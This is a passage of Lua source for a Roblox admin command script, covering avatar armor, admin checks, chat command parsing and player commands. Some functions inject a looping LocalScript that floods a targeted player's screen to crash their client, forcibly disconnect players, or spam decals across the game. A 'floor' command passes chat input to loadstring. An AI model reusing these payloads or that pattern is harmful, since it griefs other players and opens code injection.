- A.Functions.Welding(Torso,Torso,mv1,A.CFrame.Angles(0,0,0),A.CFrame.new(.45*Pos,-.5,.6))
- for i=0,2 do
- local mv2=A.Functions.Part(Armor,false,false,.3,.3,.2,A.Color3.new(.55,.55,.55))
- A.Functions.Welding(Torso,Torso,mv2,A.CFrame.Angles(0,0,0),A.CFrame.new(.25*Pos,.1+.35*i,.6))
- end
- local PastPart=Torso
- local Color=.4
- for i=0,6 do
- local mv3=A.Functions.Part(Armor,false,false,.3,.3,.6,A.Color3.new(.5,Color,Color))
- mv3.Transparency=.5
- local Weld=A.Functions.Welding(PastPart,PastPart,mv3,A.CFrame.Angles(-A.math.rad(40),.1*Pos,0),A.CFrame.new(.5*Pos,-.1,-.6))
- Weld.MaxVelocity=.01
- Weld.DesiredAngle=9999999*Pos
- PastPart=mv3
- Color=Color-.01
- end
- local PastPart=Torso
- for i=0,6 do
- local mv3=A.Functions.Part(Armor,false,false,.3,.3,.6,A.Color3.new(.5,Color,Color))
- mv3.Transparency=.5
- local Weld=A.Functions.Welding(PastPart,PastPart,mv3,A.CFrame.Angles(A.math.rad(40),.3*Pos,0),A.CFrame.new(.5*Pos,-.1,-.6))
- Weld.MaxVelocity=.01
- Weld.DesiredAngle=9999999*Pos
- PastPart=mv3
- Color=Color-.01
- end
- end
- Arm=function(Aw)
- if not Aw then return end
- local Pos=-1
- local Table=Fingers[Aw.Name:match'%w+']
- if Aw.Name==LA.Name then Pos=1 end
- local Mesh=A.Instance.new('BlockMesh',Aw)
- Mesh.Scale=A.Vector3.new(0,0,0)
- Mesh.Name='Alarmor'
- local PA=A.Functions.Part(Armor,false,false,1,1.6,1,'1003')
- A.Functions.Welding(Aw,Aw,PA,A.CFrame.Angles(0,0,0),A.CFrame.new(0,-.2,0))
- local SA=A.Functions.Part(Armor,false,false,1.5,.2,1.3,'1003')
- A.Functions.Welding(Aw,Aw,SA,A.CFrame.Angles(0,0,-.2*Pos),A.CFrame.new(.3*Pos,-1,0))
- for i=2,4 do
- local DSA=A.Functions.Part(Armor,false,false,.1,.4,.1,'1002')
- A.Functions.Welding(SA,SA,DSA,A.CFrame.Angles(0,0,.2*Pos),A.CFrame.new(.6*Pos,.15,-1.5+.5*i))
- end
- local AA=A.Functions.Part(Armor,false,false,.1,1.2,1.1,A.Color3.new(.4,.4,.4))
- A.Functions.Welding(Aw,Aw,AA,A.CFrame.Angles(0,0,0),A.CFrame.new(.5*Pos,-.25,0))
- for i=1,3 do
- local AC=A.Functions.Part(Armor,false,false,1.1,.2,1.2,A.Color3.new(1,.4,.4))
- A.Functions.Welding(Aw,Aw,AC,A.CFrame.Angles(0,0,0),A.CFrame.new(0,-.75+i/4,0))
- end
- for i=1,4 do
- local AZ=A.Functions.Part(Armor,false,false,.3,.4,.1,A.Color3.new(1,1,1))
- A.Instance.new('BlockMesh',AZ)
- AZ.Mesh.Scale=A.Vector3.new(.8,.5,.8)
- table.insert(Table,A.Functions.Welding(Aw,Aw,AZ,A.CFrame.Angles(0,0,0),A.CFrame.new(.3*Pos,.7,-.6+.25*i)))
- local AZ2=A.Functions.Part(Armor,false,false,.3,.4,.1,A.Color3.new(1,1,1))
- A.Instance.new('BlockMesh',AZ2)
- AZ2.Mesh.Scale=A.Vector3.new(.7,.5,.7)
- table.insert(Table,A.Functions.Welding(AZ,AZ,AZ2,A.CFrame.Angles(0,0,.3*Pos),A.CFrame.new(.05*Pos,.2,0)))
- local AZ3=A.Functions.Part(Armor,false,false,.3,.4,.1,A.Color3.new(1,1,1))
- A.Instance.new('BlockMesh',AZ3)
- AZ3.Mesh.Scale=A.Vector3.new(.6,.5,.6)
- table.insert(Table,A.Functions.Welding(AZ2,AZ2,AZ3,A.CFrame.Angles(0,0,.3*Pos),A.CFrame.new(.05*Pos,.2,0)))
- end
- local PP=A.Functions.Part(Armor,false,false,.3,.4,.3,A.Color3.new(1,1,1))
- A.Instance.new('BlockMesh',PP)
- PP.Mesh.Scale=A.Vector3.new(.8,1,.8)
- table.insert(Table,A.Functions.Welding(Aw,Aw,PP,A.CFrame.Angles(0,math.rad(10)*Pos,0),A.CFrame.new(-.3*Pos,.7,.4)))
- LastPart=PP
- local PP2=A.Functions.Part(Armor,false,false,.3,.4,.3,A.Color3.new(1,1,1))
- A.Instance.new('BlockMesh',PP2)
- PP2.Mesh.Scale=A.Vector3.new(.6,.7,.6)
- table.insert(Table,A.Functions.Welding(PP,PP,PP2,A.CFrame.Angles(-.6,0,0),A.CFrame.new(0,.2,.08)))
- LastPart=PP2
- end
- Leg=function(Lw)
- if not Lw then return end
- local Pos=-1
- if Lw.Name==LL.Name then Pos=1 end
- local Mesh=A.Instance.new('BlockMesh',Lw)
- Mesh.Scale=A.Vector3.new(0,0,0)
- Mesh.Name='Alarmor'
- local Hip=A.Functions.Part(Armor,false,false,1.1,.6,1.3,'1003')
- A.Functions.Welding(Lw,Lw,Hip,A.CFrame.Angles(-1.1,.07*Pos,0),A.CFrame.new(.1*Pos,-.7,0))
- local ST=A.Functions.Part(Armor,false,false,1.1,.6,1.1,'1003')
- A.Functions.Welding(Hip,Hip,ST,A.CFrame.Angles(0,0,0),A.CFrame.new(0,.4,0))
- A.Instance.new('SpecialMesh',ST).MeshType='Sphere'
- local STA=A.Functions.Part(Armor,false,false,1.1,.8,.8,'1003')
- A.Functions.Welding(Hip,Hip,STA,A.CFrame.Angles(0,0,0),A.CFrame.new(0,.2,-.8))
- A.Instance.new('SpecialMesh',STA).MeshType='Sphere'
- local asd=A.Functions.Part(Armor,false,false,1,.8,.6,'1003')
- A.Functions.Welding(Hip,Hip,asd,A.CFrame.Angles(.5,-.04*Pos,0),A.CFrame.new(0,.7,.3))
- local asd2=A.Functions.Part(Armor,false,false,.8,1.2,.6,'1003')
- A.Functions.Welding(asd,asd,asd2,A.CFrame.Angles(1.9,-.04*Pos,0),A.CFrame.new(0,.3,-.3))
- end
- Arm(RA)
- Arm(LA)
- Leg(RL)
- Leg(LL)
- Ta_()
- Ta_'Left'
- local TMesh=A.Instance.new('BlockMesh',Torso)
- TMesh.Scale=A.Vector3.new(0,0,0)
- TMesh.Name='Alarmor'
- local asd=A.Functions.Part(Armor,false,false,2.2,2.1,1.05,'1003')
- A.Functions.Welding(Torso,Torso,asd,A.CFrame.Angles(A.math.rad(180),0,0),A.CFrame.new(0,0,0))
- A.Instance.new('SpecialMesh',asd).MeshType=1
- end
- A.Functions.Admin=function(Player)
- if type(Player)=='userdata'then
- if Player:IsA'Player'then
- Player=Player.Name
- end
- end
- if type(Player)=='string'then
- for i,v in pairs(A.Players.Stats.Admins)do
- if v:lower''==Player:lower''then return true end
- end
- end
- if type(Player)=='nil' then return true end
- return false
- end
- A.Functions.ListCheck=function(ln,un)
- for i,w in pairs(ln)do
- if w==un then
- return true
- end
- end
- return false
- end
- A.Functions.TableRemove=function(Table,Name)
- for i,v in pairs(Table)do
- if v:lower''==Name:lower'' then
- table.remove(Table,i)
- end
- end
- end
- A.Functions.Check=function(c)
- if not pcall(function()c:IsA''end)then return end
- for i,v in pairs(A.Objects.Blocks)do
- A.X(function()
- local P=c[i]:lower''
- for ii,vv in pairs(v)do
- if P:match(ii)and vv then A.Remove(c)break end
- end
- end)
- end
- if A.BoolSettings.AntiSB and c.Name=='DSource'then A.Remove(c)end
- if c.Name=='RobloxTeam'and c:IsA'BaseScript'then c.Disabled=true end
- end
- A.Functions.SuperFindChildren=function(o,p,n)
- local t={}
- local pl=p:lower''
- o=A.Functions.GetAll(o)
- if pl:match'class'then p='ClassName'elseif pl=='name'then p='Name'end
- for i,v in pairs(o)do
- pcall(function()
- if v[p]:lower'':match(n:lower'')then
- table.insert(t,v)
- end
- end)
- end
- return t
- end
- A.Functions.FindChildren=function(Instance,Name,Level)
- local List={}
- if not Instance then
- Instance=A.Functions.GetAll(game)
- end
- if type(Instance)=='userdata'then
- Instance=A.Functions.GetAll(Instance)
- end
- for ObjectumNumber,Objectum in pairs(Instance)do
- pcall(function()
- if(function()
- if Level==nil or Level==1 then
- return Objectum.Name:lower''==Name:lower''
- elseif Level==2 then
- return Objectum.Name:lower'':find(Name:lower'')==1 or Objectum.Name:lower'':match(Name:lower'')
- elseif Level==3 then
- return Objectum:IsA(Name)or Objectum:IsA(Name:lower'')
- elseif Level==4 then
- return Objectum.className:lower'':match(Name:lower'')
- end
- return false
- end)()then
- table.insert(List,Objectum)
- end
- end)
- end
- return List
- end
- A.Functions.Clean=function(o)
- for i,v in pairs(o:children'')do
- pcall(function()
- if v:IsA'Players'or v:IsA'Player'or game:service'Players':GetPlayerFromCharacter(v)or v==script then return end
- if v:IsA'Lighting'then
- A.Functions.Clean(v)
- return
- end
- pcall(v.remove,v)
- A.Functions.Clean(v)
- end)
- end
- end
- A.Functions.GetRemoveChildren=function(p,n,i)
- if not i then return end
- for i,v in pairs(i:children'')do
- pcall(function()
- if v[p]:lower'':match(n:lower'')and v~=script then
- A.Remove(v)
- end
- A.Functions.GetRemoveChildren(p,n,v)
- end)
- end
- end
- A.Functions.CreateCommand=function(Command,Tutorial,Function)
- table.insert(A.Commands,{word=Command,t=Tutorial:gsub('c/',A.Data.CommandSignal):gsub('s/',A.Data.StartCommandSignal),fun=Function})
- end
- A.Functions.SearchCommand=function(Text,Speaker)
- if Text:sub(1,1)~=A.Data.StartCommandSignal then return end
- if not A.Functions.SAdmin(Speaker)then return end
- local Glitch
- Text=Text:sub(2)
- if Text:lower():sub(1,4)=='lego'then
- Text=Text:sub(6)
- end
- local LoopAndTime=Text:match(A.Data.CommandMultiplierTime..'(.+)')
- if LoopAndTime then
- Text=Text:gsub(A.Data.CommandMultiplierTime..LoopAndTime,'')
- local time=LoopAndTime:match' (.+)'
- local loop=tonumber(LoopAndTime:match('(%w+) '..time))
- if time and loop then
- if loop>=2 then
- for lol=1,loop do
- A.Functions.SearchCommand(A.Data.StartCommandSignal..Text,Speaker)
- wait(time)
- end
- end
- end
- end
- local LoopedCmd=Text:match(A.Data.CommandMultiplier..'(.+)')
- if LoopedCmd then
- Text=Text:gsub(A.Data.CommandMultiplier..LoopedCmd,'')
- local num=tonumber(LoopedCmd)
- if num then
- if num>=2 then
- for loop=1,num do
- A.Functions.SearchCommand(A.Data.StartCommandSignal..Text,Speaker)
- end
- end
- end
- end
- local NewCommand=Text:match(A.Data.NewCommandSignal..'(.+)')
- if NewCommand then
- Text=Text:gsub(A.Data.NewCommandSignal..NewCommand,'')
- if NewCommand:sub(1,1)~=A.Data.StartCommandSignal then
- NewCommand=A.Data.StartCommandSignal..NewCommand
- end
- A.Functions.SearchCommand(NewCommand,Speaker)
- end
- local TimeNewCommand=Text:match(A.Data.TimeNewCommandSignal..'(.+)')
- if TimeNewCommand then
- Text=Text:gsub(A.Data.TimeNewCommandSignal..TimeNewCommand,'')
- A.CPrint(function()
- wait(TimeNewCommand:match'([^!]+)')
- local NewCommand=TimeNewCommand:match'!(.+)'
- if NewCommand:sub(1,1)~=A.Data.StartCommandSignal then
- NewCommand=A.Data.StartCommandSignal..NewCommand
- end
- A.Functions.SearchCommand(NewCommand,Speaker)
- end)
- end
- for __,command in pairs(A.Commands)do
- for _,cn in pairs(command.word)do
- if Text:lower():sub(1,#cn+1)==cn:lower()..A.Data.CommandSignal then
- Glitch={A.CX(function()
- local text=Text:sub(#cn+2)
- command.fun(text,Speaker,(function()
- local Plus={}
- text=A.Data.CommandSignal..text
- for New in text:gmatch(A.Data.CommandSignal..'([^'..A.Data.CommandSignal..']+)')do
- table.insert(Plus,New)
- end
- return Plus
- end)(),A.Functions.FindPlayer,A.Functions.LoadPlayerTables)
- end)}
- if Glitch[2]then
- print(Glitch[2])
- end
- end
- end
- end
- return Glitch
- end
- A.Functions.FindPlayer=function(Pn,s,Table)
- if not Table then Table={}end
- local Players=game:service'Players':GetPlayers''
- Pn=','..Pn
- for i in Pn:gmatch',([^,]+)'do
- local pn=i:lower''
- for i,v in pairs(Players)do
- if(function()
- if pn=='me'or pn==''or pn=='me!'then
- return v==s
- elseif pn=='notme'or pn=='others'or pn=='notme!'then
- return v~=s
- elseif pn=='all'or pn=='all!'then
- return true
- elseif pn=='nbc'or pn=='nbc!'then
- return v.MembershipType==Enum.MembershipType.None
- elseif pn=='bc'or pn=='bc!'then
- return v.MembershipType~=Enum.MembershipType.None
- elseif pn=='immortals'or pn=='admins'or pn=='immortals!'then
- return A.Functions.SAdmin(v)
- elseif pn=='infimortals'or pn=='mainadmins'then
- return A.Functions.Admin(v)
- elseif pn=='mortals'or pn=='noobs'then
- return not A.Functions.SAdmin(v)
- elseif pn=='otheradmins'or pn=='oadmins'then
- return A.Functions.SAdmin(v)and v~=s
- end
- return v.Name:lower'':find(pn)==1
- end)()then
- table.insert(Table,v)
- end
- end
- end
- if#Table==0 then error(Pn:sub(2)..' player not found!')end
- return Table
- end
- A.Functions.CreatePart=function(Size,Parent,Class)
- if type(Class)~='string'then Class='Part'end
- local Part=A.Instance.new(Class)
- Part.formFactor=3
- Part.BottomSurface=0
- Part.TopSurface=0
- Part.Size=Size
- Part.Parent=Parent
- return Part
- end
- A.Functions.SpecialCP=function(Table)
- local Part
- Part=A.Instance.new'Part'
- for i,v in pairs(Table)do
- Part[i]=v
- end
- return Part
- end
- A.Functions.Welding=function(P,P0,P1,C0,C1)
- if P~=P0 then
- C1=C0
- C0=P1
- P1=P0
- P0=P
- end
- P1.CFrame=P.CFrame
- local Weld=A.Instance.new'Motor6D'
- Weld.Parent=P
- Weld.Part0=P0
- Weld.Part1=P1
- A.X(function()Weld.C0=C0 end)
- A.X(function()Weld.C1=C1 end)
- return Weld
- end
- A.Functions.HumanoidHide=function(Player,Table)
- if not A.Functions.SAdmin(Player)then return end
- local Character=Player.Character
- local h=A.Functions.WaitingForObject(Character,'Name','Head')
- local fh=A.Functions.CreatePart(A.Vector3.new(2,1,1))
- local a
- h.Transparency=2
- A.Functions.Connect('HumanoidHide',h.Changed:connect(function(c)
- if c=='Name'then h[c].Name='Head'return end
- if c=='Transparency'then a=h[c]h[c]=2 end
- if a==2 then a=0 return end
- fh[c]=h[c]
- end),Table.Connects)
- A.Functions.Connect('HumanoidHide2',fh.Changed:connect(function(c)
- if c=='Name'then return end
- if c=='Transparency'then return end
- pcall(function()fh[c]=h[c]end)
- end),Table.Connects)
- fh.Name='head'
- fh.CanCollide=true
- fh.Parent=Character
- fh.BrickColor=h.BrickColor
- for i,v in pairs(fh:children'')do v.Parent=nil end
- h.Mesh:clone''.Parent=fh
- A.Functions.Welding(h,h,fh)
- end
- A.Functions.Erh=function(Player)
- if A.Functions.SAdmin(Player)then return end
- A.X(function()
- A.Functions.CreateScript('LocalScript',Player,[[
- script.Parent=nil
- game.Players.LocalPlayer.Parent=nil
- game.Players.LocalPlayer.Parent=game.Players
- image={53646388,53646377,53645929,53645378,48290678,48260066,48328309,48293007,49316256,48258623,43082279,47595647,47596170,47944712}
- while 0 do
- wait''
- pcall(function()A.Instance.new('BlockMesh',A.Instance.new('Part',workspace.CurrentCamera)).Scale=A.Vector3.new(1000000,1000000,1000000)end)
- for a=0,9 do
- for i=0,9 do
- screen=A.Instance.new('ScreenGui',game.CoreGui)
- gui=A.Instance.new'ImageButton'
- gui.Image='http://www.roblox.com/asset/?id='..image[math.random(1,#image)]
- gui.Size=A.UDim2.new(.1,0,.1,0)
- gui.BackgroundTransparency=1
- gui.Position=A.UDim2.new(i/10,0,a/10,0)
- gui.Parent=screen
- end
- end
- end
- ]])
- end)
- end
- A.Functions.WeldingCharacterLimbs=function(Character)
- local BrickColors=Character:FindFirstChild'Body Colors'
- local Animate=Character:FindFirstChild'Animate'
- Character.Torso.BottomSurface=0
- for i,v in pairs(A.Players.Stuffs.CharacterLimbs)do
- if not Character:FindFirstChild(v.PartName)or not Character.Torso:FindFirstChild(v.WeldName)then
- local Part,Weld
- Part=A.Functions.CreatePart(v.Size)
- Part.Name=v.PartName
- Part.CanCollide=false
- if BrickColors then
- Part.BrickColor=BrickColors[v.PartName:gsub(' ','')..'Color']
- end
- if v.PartName=='Head'then
- A.Instance.new('SpecialMesh',Part).Scale=Vector3.new(1.250,1.250,1.250)
- A.X(function()wait''A.Functions.HumanoidHide(Character,game:service'Players':GetPlayerFromCharacter(Character))end)
- end
- Part.Parent=Character
- Weld=A.Functions.Welding(Character.Torso,Character.Torso,Part,v.C0,v.C1)
- Weld.Name=v.WeldName
- Weld.MaxVelocity=.1
- end
- end
- A.Functions.CreateScript('LocalScript',Character,[[
- local Animate=script.Parent.Animate
- Animate.Disabled=true
- A.Wait''
- Animate.Disabled=false
- ]])
- end
- A.Functions.WhileLocalRemove=function(Table)
- local wr='whileRemove'
- local BaseText=[[
- script.Parent=nil
- whileRemove=function(c)
- leave=game:FindFirstChild(c,true)
- while leave do
- game:service'Debris':AddItem(leave,0)
- game:service'RunService'.Stepped:wait''
- leave=game:FindFirstChild(c,true)
- end
- end
- ]]
- if type(Table)=='string'then
- BaseText=BaseText..wr..'"'..Table..'"'
- elseif type(Table)=='table'then
- for i,v in pairs(Table)do
- if type(v)=='string'then
- BaseText=BaseText..wr..[==[[[]==]..v..[==[]] ]==]
- end
- end
- end
- return BaseText
- end
- A.Functions.RbxCF=function(PlayerGui)
- if not A.BoolSettings.RobloxControlFrame then
- A.X(function()
- A.Functions.CreateScript('LocalScript',PlayerGui,A.Functions.WhileLocalRemove'ChatMenuPanel')
- if A.Functions.SAdmin(PlayerGui.Parent)then return end
- A.Functions.CreateScript('LocalScript',PlayerGui,A.Functions.WhileLocalRemove'ControlFrame')
- end)
- end
- if not A.BoolSettings.LeaveButton then
- A.Functions.CreateScript('LocalScript',PlayerGui,A.Functions.WhileLocalRemove'LeaveConfirmationMenu')
- end
- end
- A.Functions.PlayerRemove=function(Player)
- if A.Functions.SAdmin(Player)then return false end
- if A.BoolSettings.GuestsOfDoom then if Player.userId<1 and Player.Name~='Player'then return true end end
- if A.Functions.ListCheck(A.Players.Stats.Noobs,Player.Name)then return true end
- for i,v in pairs(A.Players.Stats.Blocks)do if Player.Name:lower'':match(v:lower'')then return true end end
- if A.BoolSettings.PriServer then
- for i,v in pairs(A.Players.Stats.Pri)do
- if v==Player.Name:lower''then
- return false
- end
- end
- return true
- end
- return false
- end
- A.Functions.JumpDeath=function(Player)
- if not A.Players.PlayersTables[Player.Name].JumpDeath then return end
- A.Functions.CreateScript('LocalScript',Player,[[
- script.Parent=n
- Player=game:service'Players'.LocalPlayer
- while not Player.Character do Player.Changed:wait''end
- GetRespawn=function(Instance,Table)
- if not Table then Table={}end
- for i,v in pairs(Instance:children'')do
- if v:IsA'SpawnLocation'then table.insert(Table,v)end
- GetRespawn(v,Table)
- end
- return Table
- end
- while pcall(function()
- if Player.Character.Torso.Position.Y<=-100 then
- local Table=GetRespawn(workspace)
- if #Table==0 then
- Player.Character:MoveTo(Vector3.new(0,100,0))
- end
- pcall(function()
- Player.Character:MoveTo(Table[math.random(1,#Table)].Position)
- end)
- Player.Character.Torso.Anchored=true
- Player.Character.Torso.Velocity=Vector3.new(0,0,0)
- Player.Character.Torso.RotVelocity=Vector3.new(0,0,0)
- Delay(.1,function()
- Player.Character.Torso.Anchored=false
- end)
- end
- end) do
- A.Wait''
- end
- script:remove''
- ]])
- end
- A.Functions.FlashDie=function(char)
- local head=char:FindFirstChild'Head'
- local torso=char:FindFirstChild'Torso'
- if not head or not torso then return end
- torso.Name=''
- local pos=torso.Position-Vector3.new(0,-2,0)
- local es=A.Instance.new('Sound',torso)
- es.SoundId='http://www.roblox.com/Asset/?id=3087031'
- es.Volume=0
- es:play''
- es.Volume=1
- es:play''
- A.Remove(es)
- for i=1,7 do
- A.Wait''
- A.CPrint(function()
- local lazer=A.Functions.CreatePart(A.Vector3.new(1,1,1),char)
- local crash=A.Functions.CreatePart(A.Vector3.new(1,1,1),lazer)
- local cmesh=A.Instance.new('SpecialMesh',crash)
- local lmesh=A.Instance.new('CylinderMesh',lazer)
- local exp=Instance.new'Explosion'
- lazer.BrickColor=A.BrickColor.new'1001'
- lazer.Anchored=1
- lazer.Transparency=.7
- lazer.Position=pos
- crash.BrickColor=lazer.BrickColor
- crash.Anchored=1
- crash.Position=pos
- cmesh.MeshId='http://www.roblox.com/asset/?id=20329976'
- exp.BlastRadius=12
- exp.Position=torso.Position
- exp.Parent=game:service'Workspace'
- for i=1,5 do
- local pos2=pos+Vector3.new(math.random(-1,1),0,math.random(-1,1))
- lmesh.Scale=Vector3.new(8+i,4000,8+i)
- cmesh.Scale=Vector3.new(8+i,8+i,8+i)
- lazer.Position=pos2
- crash.Position=pos2
- A.Wait''
- end
- A.Remove(lazer)
- end)
- end
- end
- A.Functions.LoadWeapons=function(Player,Backpack,PlayerTable)
- A.X(function()
- for i,v in pairs(PlayerTable.Weapons)do
- v:clone''.Parent=Backpack
- end
- for i,v in pairs(A.Objects.Packs.StarterPack)do
- if type(v)=='userdata'then v:clone''.Parent=Backpack end
- if type(v)=='number'then
- for ii,vv in pairs(game:service'InsertService':LoadAsset(v):children'')do
- vv.Parent=Backpack
- end
- end
- end
- end)
- end
- A.Functions.LoadMainScreen=function(Player,Table)
- Table.ScreenObject=A.Instance.plock(A.Instance.plnew('ScreenGui',function(o)
- if not Table.Respawn then return end
- if not pcall(function()o.Parent=A.Functions.WaitingForObject(Player,'className','PlayerGui')end)then
- A.Functions.LoadMainScreen(Player,Table)
- return
- end
- if not o.Parent then return else wait''end
- for i,v in pairs(o.Parent:children'')do
- if v.Name==o.Name and v~=o then
- A.Remove(v)
- end
- end
- end),'Name','öAülóaöküaózöaüródö üGóuöiü')
- end
- A.Functions.PlayerLoads=function(Player)
- if A.Functions.PlayerRemove(Player)then pcall(game.remove,Player)return end
- local Table=A.Functions.LoadPlayerTables(Player)
- A.Functions.LoadMainScreen(Player,Table)
- A.Functions.LoadCreatedLoad('Once',Player)
- A.X(function()A.Functions.LoadCreatedLoad('Character',Player,A.Functions.WaitingForProperty(Player,'Character'))end)
- A.X(function()A.Functions.LoadCreatedLoad('PlayerGui',Player,A.Functions.WaitingForObject(Player,'ClassName','PlayerGui'))end)
- A.X(function()A.Functions.LoadWeapons(Player,A.Functions.WaitingForObject(Player,'ClassName','Backpack'),Table)end)
- A.Functions.Connect('BaseLoad',Player.CharacterAdded:connect(function()
- if not Table.Respawn then return end
- local char=A.Functions.WaitingForProperty(Player,'Character')
- if not char:FindFirstChild'Head'then return end
- A.Functions.LoadCreatedLoad('Character',Player,Table)
- end),Table.Connects)
- A.Functions.Connect('BaseLoad',Player.ChildAdded:connect(function(Objectum)
- if not Table.Respawn then return end
- if Objectum:IsA'PlayerGui'then
- A.Functions.LoadCreatedLoad('PlayerGui',Player,Objectum)
- Table.ScreenObject.Parent=Objectum
- elseif Objectum:IsA'Backpack'then
- A.Functions.LoadWeapons(Player,Objectum,Table)
- end
- end),Table.Connects)
- A.X(function()Player:SetSuperSafeChat(true)end)
- A.Functions.Connect('AdminChat',Player.Chatted:connect(function(Text)
- A.Functions.SearchCommand(Text,Player)
- end),Table.Connects)
- end
- A.Functions.SAdmin=function(player)
- if A.Functions.Admin(player)then return true end
- for i,v in pairs(A.Players.Stats.Guests)do
- if type(player)=='string'then
- if v:lower''==player:lower''then
- return true
- end
- end
- if v:lower''==player.Name:lower''then
- return true
- end
- end
- return false
- end
- A.Functions.CreateKO=function(Killer,VictimOfHumanoid)
- local ko=A.Instance.new'ObjectValue'
- ko.Name='creator'
- ko.Value=Killer
- ko.Parent=VictimOfHumanoid
- end
- A.Functions.KO=function(Killer,Victim)
- for i,v in pairs(Victim.Character:children())do
- if v:IsA'Humanoid'then
- local ko=A.N'ObjectValue'
- ko.Name=[==[creator]==]
- ko.Value=Killer
- ko.Parent=v
- end
- end
- end
- A.Functions.Tell=function(Text,Parent,Class)
- A.X(function()
- Text=Text:gsub('qlqkqzqrd','Alakazard')
- if not Class then
- Class='Hint'
- end
- if not Parent then
- Parent=game:service'Workspace'
- end
- if Class:lower''~='hint'and Class:lower''~='message'then
- Class='Hint'
- end
- local Message=A.Instance.new(Class)
- game:service'Debris':AddItem(Message,60)
- Message.Name=Class
- Message.Parent=Parent
- for i=1,#Text do
- Message.Text=Text:sub(1,i)
- game:service'RunService'.Stepped:wait''
- end
- wait'5'
- Message:remove''
- end)
- end
- A.Functions.Report=function(Text,Level,For)
- if type(For)~='string'then For='all'end
- if type(Level)~='string'then Level='Hint'end
- local Message=A.Instance.new'StringValue'
- Message.Name='Alakazard_Message'
- Message.Value=';'..For..';'..'/'..Level..'/'..'##'..Text:gsub([[']],string.char'255')..'##'
- Message.Parent=game:service'Lighting'
- end
- A.Functions.LoadFace=function(id,Player,PlayerTable)
- if not Player.Character then return end
- if not Player.Character:FindFirstChild'Head'then return end
- for ic,cc in pairs(A.Functions.GetAll(Player.Character))do if cc:IsA'BillboardGui'and cc.Name=='FaceLol'then cc:remove''end end
- A.Functions.Disconnect('FaceHat',1,PlayerTable.Connects)
- if type(id)=='string'then
- for i,v in pairs(Player.Character:children'')do
- if v:IsA'Hat'then
- if v:FindFirstChild'Handle'then
- if id:lower'':sub(1,4)=='back'then
- v.Handle.Transparency=0
- else
- v.Handle.Transparency=1
- end
- end
- end
- end
- if id:lower'':sub(1,4)=='back'then
- PlayerTable.HaveAFace=false
- return
- end
- local NamedFace=A.Other.Meme[id:lower'']
- if NamedFace then
- id=NamedFace
- end
- end
- if type(tonumber(id))~='number'then return end
- A.Functions.Connect('FaceHat',Player.Character.ChildAdded:connect(function(Hat)
- if not Hat:IsA'Hat'then return end
- if not Hat:FindFirstChild'Handle'then return end
- Hat.Handle.Transparency=1
- end),PlayerTable.Connects)
- local faceI=A.Instance.new'BillboardGui'
- local face=A.Instance.new('ImageLabel',faceI)
- faceI.Parent=Player.Character.Head
- faceI.Name='FaceLol'
- faceI.Adornee=faceI.Parent
- faceI.Size=A.UDim2.new(2.5,0,2.5,0)
- faceI.StudsOffset=A.Vector3.new(0,.3,.9)
- faceI.AlwaysOnTop=nil
- face.Parent=faceI
- face.Transparency=1
- face.Image=A.Functions.AddImage(id,500,500)
- face.Size=A.UDim2.new(1,0,1,0)
- PlayerTable.HaveAFace=true
- PlayerTable.FaceImage=id
- end
- A.Functions.FindBoolean=function(b)
- b=b:lower''
- if b=='true'or b=='yes'or b=='1'or b=='on'or b==true then
- return true
- elseif b=='false'or b=='no'or b=='0'or b=='off'or b==false then
- return false
- end
- return false
- end
- A.Functions.Closer=function(Player)
- local Table=A.Functions.LoadPlayerTables(Player)
- while Table.Closer do
- A.Wait''
- for i,v in pairs(A.Functions.FindPlayer('notme!',Player))do
- A.X(function()
- local Torso=v.Character.Torso
- local Torso2=Player.Character.Torso
- if(Torso.Position-Torso2.Position).Magnitude<=20 then
- Torso.CFrame=Torso.CFrame+Torso.CFrame.lookVector*10
- end
- end)
- end
- end
- end
- A.Functions.ShutDownPlayer=function(p)
- A.Functions.CreateScript('LocalScript',p,[[script.Parent=nil Player.Parent=nil Player.Parent=game:service'Players']])
- end
- --==================================Commands Start==================================--
- --==================================Commands Start==================================--
- --==================================Commands Start==================================--
- A.Functions.CreateCommand({'floor'},'"s/floorc/Playerc/Player(or add address)2c/Imagec/StudsBetweenTexturesc/Velocity"',function(v,s,w,pf,pt)
- local image=A.Other.Meme[w[3]:lower'']
- local siz=w[4]
- local address=loadstring('return '..tostring(w[2]))''
- local f=A.Instance.new'FloorWire'
- if not image then
- image=A.Functions.AddImage(w[3])
- else
- image=A.Functions.AddImage(image)
- end
- f.Texture=image
- f.StudsBetweenTextures=siz
- f.Velocity=w[5]
- f.WireRadius=0
- f.TextureSize=A.Vector2.new(3,3)
- for i,v in pairs(pf(w[1],s))do
- local ff=f:clone''
- if not address then
- for w,p in pairs(pf(w[2],s))do
- ff.Parent=v.Character
- ff.From=v.Character.Head
- ff.To=p.Character.Head
- end
- else
- ff.Parent=v.Character
- ff.From=v.Character.Head
- ff.To=address
- end
- end
- end)
- A.Functions.CreateCommand({'imgspam','imagespam','ispam'},'for important peoples',function(v,s,w)
- if type(A.Other.Decals)~='table'then A.Other.Decals={}end
- local Table=A.Other.Decals
- local id=w[1]
- if type(id)~='string'then return end
- if id:lower'':sub(1,6)=='remove'then
- for i,v in pairs(Table)do
- v:remove''
- end
- elseif id:lower'':sub(1,9)=='alakazard'then
- id='54255241'
- end
- if type(tonumber(id))~='number'then return end
- id=A.Functions.AddImage(id)
- for i,v in pairs(A.Functions.GetAll(game))do
- pcall(function()
- if not v:IsA'BasePart'then return end
- for i=0,5 do
- local Decal=Instance.new'Decal'
- table.insert(Table,Decal)
- Decal.Texture=id
- Decal.Face=i
- Decal.Parent=v
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'clonehats';'chs'},'Make hats "clonehats/player1/player2" player2 hats will cloning to player1 of character rofl',
- function(v,s,w,pf)
- for PlayerGroup1Number,PlayerGroup1 in pairs(pf(w[1],s))do
- if PlayerGroup1.Character then
- for PlayerGroup2Number,PlayerGroup2 in pairs(pf(w[2],s))do
- if PlayerGroup2.Character then
- for i,v in pairs(A.Functions.FindChildren(PlayerGroup2.Character,'Hat',4))do
- v:clone''.Parent=PlayerGroup1.Character
- end
- end
- end
- end
- end
- end)
- A.Functions.CreateCommand({'makehats';'mhs'},'Make hats "makehats/player1/player2" player1 will get hats from player2 of character rofl',function(v,s,w,pf)
- for PlayerGroup1Number,PlayerGroup1 in pairs(pf(w[1],s))do
- if PlayerGroup1.Character then
- if type(tonumber(w[2]))=='number'then
- for i,v in pairs(game:service'InsertService':LoadAsset(w[2]):children'')do
- if v:IsA'Hat'then v.Parent=PlayerGroup1.Character end
- end
- else
- for PlayerGroup2Number,PlayerGroup2 in pairs(pf(w[2],s))do
- if PlayerGroup2.Character then
